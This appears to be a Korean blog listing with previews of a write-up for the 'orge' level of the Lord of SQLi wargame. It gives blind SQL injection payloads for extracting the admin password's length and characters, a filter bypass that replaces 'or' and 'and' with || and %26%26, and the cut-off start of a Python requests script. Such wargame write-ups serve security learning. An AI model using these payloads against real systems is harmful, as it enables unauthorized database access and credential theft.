orge2 LOS : orge 풀이2 보호되어 있는 글 입니다. 2020. 10. 21. LOS : orge 풀이1 이전 문제인 darkelf 비슷해 보입니다. 다른 점은 이는 admin의 password를 알아 내야합니다. 또한 이는 blind 문제입니다. 길이 구하기 : ?pw=' or id='admin' and length(pw) = 1--+- pw 구하기 : ?pw=' or id='admin' and ascii(substr(pw,1,1) = 48--+- 해당 파라미터에서 or 와 and를 각각 ||, %26%26로 바꾸어 blind 진행하면 됩니다. 코드는 다음 과 같습니다. 더보기 import requests #쿠키 설정 cookies = {'PHPSESSID': '쿠키 값'} #기본 설정 password = "" length = 1 #길이 구하기 while 1 : parameter = "?pw=' || id.. 2020. 10. 21. 이전 1 다음
